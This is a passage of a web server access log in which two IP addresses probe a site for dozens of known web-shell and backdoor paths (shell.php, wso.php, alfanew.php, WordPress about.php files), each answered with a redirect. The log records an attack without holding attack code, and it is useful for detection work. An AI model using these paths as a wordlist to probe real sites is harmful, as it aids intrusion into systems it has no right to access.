AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:14:13 -0400] "GET /df.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:14:14 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.150.174.91 - - [23/Apr/2025:03:14:16 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:14:17 -0400] "GET /Files/Mo0n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:14:17 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.150.174.91 - - [23/Apr/2025:03:14:19 -0400] "GET /bv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.150.174.91 - - [23/Apr/2025:03:14:21 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.150.174.91 - - [23/Apr/2025:03:14:23 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.150.174.91 - - [23/Apr/2025:03:14:25 -0400] "GET /bk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.150.174.91 - - [23/Apr/2025:03:14:27 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.150.174.91 - - [23/Apr/2025:03:14:28 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.150.174.91 - - [23/Apr/2025:03:14:30 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.150.174.91 - - [23/Apr/2025:03:14:30 -0400] "GET /hj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.150.174.91 - - [23/Apr/2025:03:14:31 -0400] "GET /sym.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:14:32 -0400] "GET /lp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.150.174.91 - - [23/Apr/2025:03:14:33 -0400] "GET /Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:14:34 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:14:35 -0400] "GET /yt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.150.174.91 - - [23/Apr/2025:03:14:36 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:14:36 -0400] "GET /x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.150.174.91 - - [23/Apr/2025:03:14:37 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:14:37 -0400] "GET /.github/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:14:38 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.150.174.91 - - [23/Apr/2025:03:14:39 -0400] "GET /bn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.150.174.91 - - [23/Apr/2025:03:14:41 -0400] "GET /wordpress/update/wpupex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.150.174.91 - - [23/Apr/2025:03:14:42 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.150.174.91 - - [23/Apr/2025:03:14:42 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:14:43 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:14:44 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.150.174.91 - - [23/Apr/2025:03:14:45 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.150.174.91 - - [23/Apr/2025:03:14:46 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.150.174.91 - - [23/Apr/2025:03:14:47 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.150.174.91 - - [23/Apr/2025:03:14:48 -0400] "GET /wp-admin/includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:14:49 -0400] "GET /wp-includes/ID3/about.php/wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.150.174.91 - - [23/Apr/2025:03:14:49 -0400] "GET /wpn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:14:49 -0400] "GET /wp-admin/css/colors/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:14:50 -0400] "GET /wp-admin/js/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.150.174.91 - - [23/Apr/2025:03:14:50 -0400] "GET /wp-includes/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:14:50 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:14:51 -0400] "GET /wp-content/themes/xc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.150.174.91 - - [23/Apr/2025:03:14:51 -0400] "GET /baxa1.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.150.174.91 - - [23/Apr/2025:03:14:51 -0400] "GET /av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.150.174.91 - - [23/Apr/2025:03:14:52 -0400] "GET /network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.150.174.91 - - [23/Apr/2025:03:14:52 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.150.174.91 - - [23/Apr/2025:03:14:53 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.150.174.91 - - [23/Apr/2025:03:14:53 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.150.174.91 - - [23/Apr/2025:03:14:54 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.150.174.91 - - [23/Apr/2025:03:14:54 -0400] "GET /wp-content/Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:14:55 -0400] "GET /vv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.150.174.91 - - [23/Apr/2025:03:14:56 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.150.174.91 - - [23/Apr/2025:03:14:56 -0400] "GET /wp-user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:14:57 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:14:58 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.150.174.91 - - [23/Apr/2025:03:14:58 -0400] "GET /assets/css/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:14:59 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:15:00 -0400] "GET /ff.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.150.174.91 - - [23/Apr/2025:03:15:01 -0400] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.150.174.91 - - [23/Apr/2025:03:15:02 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.150.174.91 - - [23/Apr/2025:03:15:05 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:15:07 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:15:10 -0400] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:15:13 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:15:16 -0400] "GET /wp-includes/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:15:20 -0400] "GET /wp-admin/maint/flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:15:22 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:15:25 -0400] "GET /wp-tinymce.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:15:28 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:15:31 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:15:33 -0400] "GET /retu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:15:36 -0400] "GET /aw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:15:39 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:15:41 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:15:42 -0400] "GET /dr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:15:43 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:15:45 -0400] "GET /wp-admin/Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:15:47 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:15:48 -0400] "GET /ay.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:15:50 -0400] "GET /wordpress/wp-admin/wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:15:51 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.193 - - [23/Apr/2025:03:15:54 -0400] "GET /wp-content/plugins/ioptimization/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:15:55 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.193 - - [23/Apr/2025:03:15:57 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:15:57 -0400] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:15:58 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:15:59 -0400] "GET /yy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:15:59 -0400] "GET /.well-known/pki-validation/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:16:00 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:00 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:16:01 -0400] "GET /tr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:01 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:16:02 -0400] "GET /wp-includes/css/dist/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:16:02 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:03 -0400] "GET /aq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:16:04 -0400] "GET /yu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:16:04 -0400] "GET /gt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:04 -0400] "GET /duck.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:16:05 -0400] "GET /op.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:06 -0400] "GET /l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:16:06 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:06 -0400] "GET /update/wpupex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:16:07 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:16:08 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:16:08 -0400] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:16:08 -0400] "GET /ayk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:16:08 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:16:09 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:16:09 -0400] "GET /er.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:09 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:09 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:16:09 -0400] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:09 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:16:10 -0400] "GET /ssa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:10 -0400] "GET /.ll/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:16:10 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:10 -0400] "GET /.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:16:10 -0400] "GET /hardenX.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 